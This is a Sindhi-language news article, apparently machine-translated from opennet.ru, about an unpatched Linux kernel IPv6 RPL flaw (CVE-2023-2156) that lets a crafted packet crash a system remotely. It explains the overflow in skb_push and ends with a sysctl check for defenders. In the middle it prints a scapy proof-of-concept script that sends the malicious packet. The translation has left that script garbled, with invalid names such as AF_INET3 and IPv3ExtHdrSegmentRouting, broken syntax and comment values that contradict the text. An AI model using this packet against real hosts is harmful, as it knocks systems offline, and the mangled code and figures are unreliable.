0-ڏينهن لينڪس IPv6 اسٽيڪ جي ڪمزوري جيڪا اجازت ڏئي ٿي ريموٽ ڪرنل حادثي جي

لينڪس ڪرنل ۾ اڻ سڌريل (0-ڏينهن) خطري (CVE-2023-2156) جي باري ۾ معلومات ظاهر ڪئي وئي آهي، جيڪا خاص طور تي ڊزائين ڪيل IPv6 پيڪيٽس (پيڪٽ-آف-ڊيٿ) موڪلڻ ذريعي سسٽم کي روڪڻ جي اجازت ڏئي ٿي. مسئلو صرف تڏهن ظاهر ٿئي ٿو جڏهن آر پي ايل لاءِ سپورٽ (روٽنگ پروٽوڪول گهٽ-پاور ۽ نقصان واري نيٽ ورڪ لاءِ) پروٽوڪول کي فعال ڪيو ويو آهي، جيڪو ڊفالٽ ۾ ڊسٽريبيوشن ۾ غير فعال هوندو آهي ۽ خاص طور تي استعمال ڪيو ويندو آهي ايمبيڊڊ ڊيوائسز تي ڪم ڪندڙ وائرليس نيٽ ورڪن ۾ ڪم ڪندڙ اعلي پيڪٽ نقصان سان.

نقصان RPL پروٽوڪول پارسنگ ڪوڊ ۾ خارجي ڊيٽا جي غلط پروسيسنگ جي ڪري پيدا ٿئي ٿو، جنهن جي نتيجي ۾ هڪ اصرار جي ناڪامي ۽ ڪرنل خوفناڪ حالت ۾ وڃي ٿي. جڏهن IPv6 RPL پيڪٽ هيڊر کي پارس ڪرڻ کان حاصل ڪيل ڊيٽا کي k_buff (ساکٹ بفر) ڍانچي ۾ رکي، جيڪڏهن CmprI فيلڊ کي 15 تي، Segleft فيلڊ کي 1 تي، ۽ CmprE کي 0 تي مقرر ڪيو ويو آهي، پتي سان گڏ 48 بائيٽ ویکٹر کي ڊمپپريس ڪيو ويندو. 528 بائيٽ تائين ۽ هڪ صورتحال ظاهر ٿئي ٿي جتي بفر لاءِ مختص ڪيل ميموري ڪافي ناهي. انهي صورت ۾، skb_push فنڪشن، ڊيٽا کي ڍانچي ۾ دٻائڻ لاء استعمال ڪيو ويو، ڊيٽا جي سائيز ۽ بفر جي وچ ۾ غير مطابقت جي جانچ ڪري ٿو، بفر جي حد کان ٻاهر لکڻ کي روڪڻ لاء هڪ خوفناڪ حالت پيدا ڪري ٿي.

مثال استحصال: # اسان اسڪيپي کي استعمال ڪنداسين scapy.all امپورٽ * ساکٽ درآمد ڪريو # IPv6 استعمال ڪريو پنھنجي LAN انٽرفيس مان IPv1 DST_ADDR = sys.argv[6] SRC_ADDR = DST_ADDR # اسان پيڪٽ موڪلڻ لاءِ ساڪٽ استعمال ڪندا آھيون sockfd = socket.socket(socket.AF_INET3, socket.SOCK_RAW, socket.IPPROTO_RAW) # پيڪٽ ٺاھيو # ٽائيپ = 3 ھن کي آر پي ايل پيڪٽ ٺاھي ٿو # ايڊريس 15 ايڊريس تي مشتمل آھي، پر ڇاڪاڻ ته CmprI 1 آھي، # پھرين ٻن ايڊريس مان ھر ھڪ آڪٽٽ آھي ڪمپريس ٿيل ايڊريس جي طور تي علاج ڪيو ويو # Segleft = 0 ٽرگر ڪرڻ لاءِ amplification # lastentry = 0xf15 سيٽ ڪري ٿو CmprI کي 0 ۽ CmprE کي 6 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv3ExtHdrSegmentRouting(type:"a=8,"Address) :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # هي بڇڙو پيڪيٽ موڪليو sockfd.sendto(bytes(p), (DST_ADDR, 0))

اها ڳالهه قابل ذڪر آهي ته ڪرنل ڊولپرز کي جنوري 2022 ۾ واپسيءَ جو اطلاع ڏنو ويو هو ۽ گذريل 15 مهينن دوران هنن ٽي ڀيرا مسئلو حل ڪرڻ جي ڪوشش ڪئي، سيپٽمبر 2022، آڪٽوبر 2022 ۽ اپريل 2023 ۾ پيچ جاري ڪيا، پر هر دفعي اصلاح ڪئي وئي. ڪافي نه آهي ۽ ڪمزوري ٻيهر پيدا نه ٿي سگهي. آخرڪار، ZDI پروجيڪٽ، جنهن ڪم کي هموار ڪيو ته جيئن ڪمزورين کي درست ڪيو وڃي، ان ڪمزوري جي باري ۾ تفصيلي ڄاڻ جاري ڪرڻ جو فيصلو ڪيو، بغير ڪم ڪندڙ فيڪس جو انتظار ڪرڻ کان سواءِ ڪرنل ۾ موجود هجڻ جي.

اهڙيء طرح، نقصان اڃا تائين اڻڄاتل رهي ٿو. خاص طور تي، 6.4-rc2 ڪنييل ۾ شامل پيچ غير موثر آهي. صارفين کي صلاح ڏني وئي آهي ته چيڪ ڪريو ته RPL پروٽوڪول انهن جي سسٽم تي استعمال نه ڪيو ويو آهي، جيڪو ڪمانڊ استعمال ڪري سگهجي ٿو sysctl -a | grep -i rpl_seg_enabled

جو ذريعو: opennet.ru

تبصرو شامل ڪريو